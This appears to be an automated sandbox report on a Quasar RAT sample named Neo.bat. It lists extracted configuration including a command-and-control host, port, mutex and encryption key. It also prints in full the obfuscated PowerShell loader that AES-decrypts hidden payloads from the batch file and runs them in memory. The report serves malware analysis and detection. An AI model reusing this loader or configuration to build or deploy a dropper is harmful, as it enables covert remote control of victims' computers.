Analysis
- max time kernel
146s - max time network
150s - platform
windows11-21h2_x64 - resource
win11-20240508-en - resource tags
- submitted
29/06/2024, 00:03
General
- Target Neo.bat
- Size 272KB
- Sample240629-acemsawbla
- SHA256 f8310b9b5ae9c3f90b01d84c8022b6fdd7bbd29ba56a600d948be6eff75d426f
Malware Config
Extracted
-
quasar
-
1.1.0
-
Slave
-
runderscore00-42512.portmap.io:42512
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QSR_MUTEX_aYgVTolyJfnSo2kPQj
-
encryption_key
PK7SpR1WESSqHBwmTfVi
-
install_name
Client.exe
-
log_directory
Logs
-
reconnect_delay
3000
-
startup_key
Quasar Client Startup
-
subdirectory
SubDir
Signatures
- Quasar RAT
Quasar is an open source Remote Access Tool.
- Quasar payload 1 IoCs
- Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs
Run Powershell and hide display window.
- Looks up external IP address via web service 2 IoCs
Uses a legitimate IP lookup service to find the infected system's external IP.
- Program crash 2 IoCs
- Suspicious behavior: EnumeratesProcesses 2 IoCs
- Suspicious use of AdjustPrivilegeToken 1 IoCs
- Suspicious use of SetWindowsHookEx 1 IoCs
- Suspicious use of WriteProcessMemory 3 IoCs
Processes
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c "C:\Users\Admin\AppData\Local\Temp\Neo.bat"1⤵
- Suspicious use of WriteProcessMemory
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C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe" -noprofile -windowstyle hidden -ep bypass -command function decrypt_function($param_var){ $aes_var=[System.Security.Cryptography.Aes]::Create(); $aes_var.Mode=[System.Security.Cryptography.CipherMode]::CBC; $aes_var.Padding=[System.Security.Cryptography.PaddingMode]::PKCS7; $aes_var.Key=[System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('cQOtDanpy2r1fIq2RmiAP3pi2F+wAyCLQ56qZLg4djg='); $aes_var.IV=[System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('JbayyMB6uwbPJLlahgTXHQ=='); $decryptor_var=$aes_var.CreateDecryptor(); $return_var=$decryptor_var.TransformFinalBlock($param_var, 0, $param_var.Length); $decryptor_var.Dispose(); $aes_var.Dispose(); $return_var;}function decompress_function($param_var){ $gWazs=New-Object System.IO.MemoryStream(,$param_var); $Cqmzr=New-Object System.IO.MemoryStream; $aiCtn=New-Object System.IO.Compression.GZipStream($gWazs, [IO.Compression.CompressionMode]::Decompress); $aiCtn.CopyTo($Cqmzr); $aiCtn.Dispose(); $gWazs.Dispose(); $Cqmzr.Dispose(); $Cqmzr.ToArray();}function execute_function($param_var,$param2_var){ $DGfYx=[System.Reflection.Assembly]::('daoL'[-1..-4] -join '')([byte[]]$param_var); $GbNUb=$DGfYx.EntryPoint; $GbNUb.Invoke($null, $param2_var);}$IuUoW = 'C:\Users\Admin\AppData\Local\Temp\Neo.bat';$host.UI.RawUI.WindowTitle = $IuUoW;$RQVpb=[System.IO.File]::('txeTllAdaeR'[-1..-11] -join '')($IuUoW).Split([Environment]::NewLine);foreach ($ykdlx in $RQVpb) { if ($ykdlx.StartsWith(':: ')) { $fedhE=$ykdlx.Substring(3); break; }}$payloads_var=[string[]]$fedhE.Split('\');$payload1_var=decompress_function (decrypt_function ([Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($payloads_var[0])));$payload2_var=decompress_function (decrypt_function ([Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($payloads_var[1])));execute_function $payload1_var $null;execute_function $payload2_var (,[string[]] (''));2⤵
- Command and Scripting Interpreter: PowerShell
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of SetWindowsHookEx
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -u -p 3992 -s 27083⤵
- Program crash
-
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -u -p 3992 -s 27283⤵
- Program crash
-
-
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C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -pss -s 408 -p 3992 -ip 39921⤵
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C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -pss -s 524 -p 3992 -ip 39921⤵
Network
MITRE ATT&CK Enterprise v15
Replay Monitor
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Downloads
__PSScriptPolicyTest_nnd0cpcb.uvm.ps1
memory/3992-19-0x0000000007770000-0x0000000007DEA000-memory.dmp
memory/3992-16-0x0000000005A40000-0x0000000005D97000-memory.dmp
memory/3992-2-0x0000000005230000-0x000000000585A000-memory.dmp
memory/3992-4-0x00000000746A0000-0x0000000074E51000-memory.dmp
memory/3992-5-0x00000000058C0000-0x00000000058E2000-memory.dmp
memory/3992-6-0x0000000005960000-0x00000000059C6000-memory.dmp
memory/3992-7-0x00000000059D0000-0x0000000005A36000-memory.dmp
memory/3992-20-0x0000000006500000-0x000000000651A000-memory.dmp
memory/3992-0-0x00000000746AE000-0x00000000746AF000-memory.dmp
memory/3992-17-0x0000000005F00000-0x0000000005F1E000-memory.dmp
memory/3992-3-0x00000000746A0000-0x0000000074E51000-memory.dmp
memory/3992-18-0x0000000005F40000-0x0000000005F8C000-memory.dmp
memory/3992-1-0x0000000004B80000-0x0000000004BB6000-memory.dmp
memory/3992-21-0x00000000070F0000-0x00000000070F8000-memory.dmp
memory/3992-22-0x00000000071E0000-0x000000000727C000-memory.dmp
memory/3992-23-0x0000000007310000-0x0000000007344000-memory.dmp
memory/3992-24-0x0000000007340000-0x000000000739E000-memory.dmp
memory/3992-25-0x00000000083A0000-0x0000000008946000-memory.dmp
memory/3992-26-0x00000000074B0000-0x0000000007542000-memory.dmp
memory/3992-27-0x0000000004E70000-0x0000000004E82000-memory.dmp
memory/3992-29-0x00000000746AE000-0x00000000746AF000-memory.dmp
memory/3992-30-0x00000000746A0000-0x0000000074E51000-memory.dmp
memory/3992-32-0x00000000746A0000-0x0000000074E51000-memory.dmp